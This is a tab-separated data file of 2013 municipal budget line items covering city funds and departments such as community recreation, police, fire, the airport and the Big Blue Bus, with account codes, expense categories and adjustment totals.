1941	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2013	7099.0	0	0.0	0.0	0	0	0.0	71	0.0	0	0	0.0	7170.0
1942	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2013	274.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	274.0
1943	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	158844.0	0	0.0	0.0	0	0	0.0	1588	0.0	0	0	0.0	160432.0
1944	B1	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	577850.0	CONTINGENCY	804.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-11688	0	0.0	-11688.0
1945	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	400320.0	MILES PLAYHOUSE PROD FEES	612.0	Charges for Service	2013	-24000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-24000.0
1946	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	408000.0	INTERFUND SERVICES	650.0	Charges for Service	2013	-492235.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-492235.0
1947	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	579240.0	CIVIC PARKING BOND DEBT SERVIC	910.0	 Supplies and Expenses	2013	2550456.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2550456.0
1948	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	555210.0	TRAINING	816.0	 Supplies and Expenses	2013	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
1949	B1	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2013	57893.0	0	0.0	0.0	0	0	0.0	579	0.0	0	0	0.0	58472.0
1950	B1	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511713.0	MEDICARE-MISC EMPLOYEES	806.0	Salaries and Wages	2013	17024.0	0	0.0	0.0	0	0	0.0	170	0.0	0	0	0.0	17194.0
1951	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	511712.0	MEDICARE-FIRE	806.0	Salaries and Wages	2013	20671.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20671.0
1952	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2013	11063.0	0	0.0	0.0	0	0	0.0	111	0.0	0	0	0.0	11174.0
1953	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	15918.0	0	0.0	0.0	0	0	0.0	254	0.0	0	0	0.0	16172.0
1954	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	12980.0	818	0.0	0.0	0	0	0.0	138	0.0	0	0	0.0	13936.0
1955	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511713.0	MEDICARE-MISC EMPLOYEES	840.0	Salaries and Wages	2013	3653.0	1262	0.0	0.0	0	0	0.0	2561	0.0	0	0	0.0	7476.0
1956	B1	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578920.0	PROP A-MAINT (NOT LOCAL RETRN)	810.0	 Supplies and Expenses	2013	28260.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	28260.0
1957	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2013	7448.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7448.0
1958	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	555210.0	TRAINING	810.0	 Supplies and Expenses	2013	2300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2300.0
1959	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES		EAP	810.0	Salaries and Wages	2013	313.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	313.0
1960	B1	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577960.0	ARTS TRANSFER	908.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	-100000	0.0	0	0	0.0	-100000.0
1961	B1	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	578470.0	GROUNDSKEEPING TRANSFER	810.0	 Supplies and Expenses	2013	78223.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	78223.0
1962	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522950.0	CNG FUEL	816.0	 Supplies and Expenses	2013	367.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	367.0
1963	B1	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	406000.0	ESTIMATED FEE INCREASES	650.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
1964	B1	IS	20	Miscellaneous Grants Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	544010.0	SPEC DEPT SUPPLIES	812.0	 Supplies and Expenses	2013	0.0	0	0.0	0.0	0	0	0.0	0	273.0	0	0	0.0	273.0
1965	B1	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	1911.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1911.0
1966	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		EAP	804.0	Salaries and Wages	2013	1040.0	0	0.0	-4.0	0	0	0.0	0	0.0	0	0	0.0	1036.0
1967	B1	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS		DISABILITY INSURANCE	804.0	Salaries and Wages	2013	7207.0	0	0.0	125.0	0	0	0.0	73	0.0	0	0	0.0	7405.0
1968	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401490.0	RECYCLE LEASE RENTAL	650.0	Charges for Service	2013	-55500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-55500.0
1969	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401580.0	RECYCLED MATERIALS	662.0	Other	2013	-396800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-396800.0
1970	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588500.0	MISCELLANEOUS EQUIPMENT	808.0	 Supplies and Expenses	2013	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
1971	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522500.0	BOARDS AND COMMISSIONS	810.0	 Supplies and Expenses	2013	5297.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5297.0
1972	B1	IS	20	Miscellaneous Grants Fund	310	FIRE	312	FIRE - ADMINISTRATION	406280.0	FIRE HERITAGE GRANT	610.0	Intergovernmental	2013	0.0	0	0.0	-1400.0	0	0	0.0	0	0.0	0	0	0.0	-1400.0
1973	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511748.0	DENTAL	816.0	Salaries and Wages	2013	16825.0	0	0.0	0.0	0	0	0.0	1682	0.0	0	0	0.0	18507.0
1974	B1	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	577850.0	CONTINGENCY	808.0	 Supplies and Expenses	2013	6250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6250.0
1975	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402161.0	NOISE ABATEMENT - AIRPORT	662.0	Other	2013	-20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-20000.0
1976	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402170.0	LANDING FEES	650.0	Charges for Service	2013	-1602221.0	3000	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1599221.0
1977	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2013	19808.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19808.0
1978	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522310.0	OFFICE SUPPLIES / EXPENSES		 Supplies and Expenses	2013	18260.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18260.0
1979	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	522930.0	VEHICLES - TIRES / TUBES		 Supplies and Expenses	2013	612.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	612.0
1980	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	588500.0	MISCELLANEOUS EQUIPMENT		 Supplies and Expenses	2013	19400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19400.0
1981	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2013	317074.0	0	0.0	-26122.0	0	0	0.0	0	0.0	0	0	0.0	290952.0
1982	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2013	27771.0	0	0.0	-1738.0	0	0	0.0	0	0.0	0	0	0.0	26033.0
1983	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511749.0	VISION	804.0	Salaries and Wages	2013	2184.0	0	0.0	-137.0	0	0	0.0	0	0.0	0	0	0.0	2047.0
1984	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2013	273450.0	0	0.0	-12365.0	0	0	0.0	2611	0.0	0	0	0.0	263696.0
1985	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2013	4680.0	0	0.0	-115.0	0	0	0.0	0	0.0	0	0	0.0	4565.0
1986	B1	IS	1	General Fund	110	CITY MANAGER	226	OFF SUSTAINABILITY & ENVIRON	522950.0	CNG FUEL	804.0	 Supplies and Expenses	2013	635.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	635.0
1987	B1	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407910.0	CAP GRNTS - PRP 1B SECURITY	657.0	Capital Grants	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	-534182	0	0.0	-534182.0
1988	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	2663.0	0	0.0	0.0	0	0	0.0	27	0.0	0	0	0.0	2690.0
1989	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2013	700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	700.0
1990	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555210.0	TRAINING	810.0	 Supplies and Expenses	2013	14140.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14140.0
1991	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555950.0	COMM SERV FACIL / MGMT	810.0	 Supplies and Expenses	2013	14825.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	14825.0
1992	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	24036.0	0	0.0	0.0	0	0	0.0	240	0.0	0	0	0.0	24276.0
1993	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2013	404.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	404.0
1994	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	420.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	420.0
1995	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	1341.0	0	0.0	0.0	0	0	0.0	13	0.0	0	0	0.0	1354.0
1996	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	6294.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6294.0
1997	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	28919.0	0	0.0	0.0	0	0	0.0	289	0.0	0	0	0.0	29208.0
1998	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2013	6429.0	0	0.0	0.0	0	0	0.0	64	0.0	0	0	0.0	6493.0
1999	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	-200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-200.0
2000	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	29698.0	0	0.0	0.0	0	0	0.0	297	0.0	0	0	0.0	29995.0
2001	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2013	313.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	313.0
2002	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	810.0	Salaries and Wages	2013	216.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	216.0
2003	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DISABILITY INSURANCE	810.0	Salaries and Wages	2013	1178.0	0	0.0	0.0	0	0	0.0	12	0.0	0	0	0.0	1190.0
2004	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	3280.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3280.0
2005	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2013	137.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	137.0
2006	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2013	900.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	900.0
2007	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		LIFE INSURANCE & AD & D	810.0	Salaries and Wages	2013	367.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	367.0
2008	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	750.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	750.0
2009	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400420.0	SKATE PARK	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2010	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2013	630.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	630.0
2011	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2013	12088.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12088.0
2012	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	555850.0	PROGRAM SUPPLIES	810.0	 Supplies and Expenses	2013	20100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20100.0
2013	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	53410.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	53410.0
2014	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
2015	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2013	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
2016	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522825.0	FOOD PURCHASES	810.0	 Supplies and Expenses	2013	775.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	775.0
2017	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2013	96866.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	96866.0
2018	B1	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES		EAP	812.0	Salaries and Wages	2013	1305.0	0	0.0	0.0	0	0	0.0	-104	0.0	0	0	0.0	1201.0
2019	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	810.0	Salaries and Wages	2013	1326.0	0	0.0	0.0	0	0	0.0	13	0.0	0	0	0.0	1339.0
2020	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2013	1611.0	0	0.0	0.0	0	0	0.0	16	0.0	0	0	0.0	1627.0
2021	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	100.0
2022	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	120742.0	0	0.0	0.0	0	0	0.0	1207	0.0	0	0	0.0	121949.0
2023	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511773.0	RETIREMENT - MISC. EMPL	810.0	Salaries and Wages	2013	10318.0	0	0.0	0.0	0	0	0.0	103	0.0	0	0	0.0	10421.0
2024	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2013	104.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	104.0
2025	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	1738.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1738.0
2026	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		WELLNESS	810.0	Salaries and Wages	2013	481.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	481.0
2027	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544230.0	COMMUNITY SERVICES SU	810.0	 Supplies and Expenses	2013	3500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3500.0
2028	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	407390.0	GYM RENTALS	618.0	Rentals	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2029	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2013	8905.0	0	0.0	0.0	0	0	0.0	89	0.0	-8994	0	0.0	0.0
2030	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2013	6628.0	0	0.0	0.0	0	0	0.0	0	0.0	-6628	0	0.0	0.0
2031	B1	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	522114.0	UTIL-LIGHT/POWER-PARKING AUTH	804.0	 Supplies and Expenses	2013	93617.0	0	0.0	0.0	0	0	0.0	0	0.0	-93617	0	0.0	0.0
2032	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	511500.0	TEMPORARY EMPLOYEES	808.0	Salaries and Wages	2013	20400.0	0	0.0	0.0	0	0	0.0	204	0.0	0	0	0.0	20604.0
2033	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	772.0	0	0.0	0.0	0	0	0.0	8	0.0	0	0	0.0	780.0
2034	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511748.0	DENTAL	810.0	Salaries and Wages	2013	1122.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1122.0
2035	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522720.0	MILEAGE	810.0	 Supplies and Expenses	2013	50.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50.0
2036	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522710.0	AUTO REIMBURSEMENT	810.0	 Supplies and Expenses	2013	1200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1200.0
2037	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2013	167469.0	0	0.0	0.0	0	0	0.0	1675	0.0	0	0	0.0	169144.0
2038	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		UNEMPLOYMENT	810.0	Salaries and Wages	2013	1037.0	0	0.0	0.0	0	0	0.0	10	0.0	0	0	0.0	1047.0
2039	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2013	800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	800.0
2040	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2013	24036.0	0	0.0	0.0	0	0	0.0	240	0.0	0	0	0.0	24276.0
2041	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2013	4887.0	0	0.0	0.0	0	0	0.0	49	0.0	0	0	0.0	4936.0
2042	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511749.0	VISION	810.0	Salaries and Wages	2013	685.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	685.0
2043	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544170.0	UNIFORM / PROTECTIVE CLOTHING	810.0	 Supplies and Expenses	2013	200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200.0
2044	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	810.0	Salaries and Wages	2013	1738.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1738.0
2045	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544200.0	SPORTS SUPPLIES	810.0	 Supplies and Expenses	2013	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
2046	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		EAP	810.0	Salaries and Wages	2013	104.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	104.0
2047	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	544110.0	PRINTED FORMS	810.0	 Supplies and Expenses	2013	1800.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1800.0
2048	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400220.0	MEMORIAL PARK GYM USER FEE	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2049	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401007.0	SWIM CENTER-SEMI-PRIVATE LESSO	612.0	Charges for Service	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2050	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401200.0	FIELD PERMITS	618.0	Rentals	2013	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
2051	B1	IS	1	General Fund	310	FIRE	314	FIRE PREVENTION	522320.0	METERED POSTAGE	806.0	 Supplies and Expenses	2013	1530.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1530.0
2052	B1	IS	6	Clean Bchs & Ocean Prcl Tx Fd	500	PUBLIC WORKS	402	ENGINEERING	522210.0	UTILITIES - TELEPHONE	808.0	 Supplies and Expenses	2013	630.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	630.0
2053	B1	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400440.0	PARK FILMING LOCATION FEES	612.0	Charges for Service	2013	-45256.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-45256.0
2054	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		EAP	816.0	Salaries and Wages	2013	1566.0	0	0.0	0.0	0	0	0.0	157	0.0	0	0	0.0	1723.0
2055	B1	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING		DISABILITY INSURANCE	816.0	Salaries and Wages	2013	13057.0	0	0.0	0.0	0	0	0.0	1395	0.0	0	0	0.0	14452.0
2056	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402163.0	PARKING RECEIPTS	662.0	Other	2013	-46100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-46100.0
2057	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	511743.0	MEDICAL - MISC. EMPL		Salaries and Wages	2013	121418.0	0	0.0	0.0	0	0	0.0	-8061	0.0	0	0	0.0	113357.0
2058	B1	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT		DCAP		Salaries and Wages	2013	576.0	0	0.0	0.0	0	0	0.0	-6	0.0	0	0	0.0	570.0
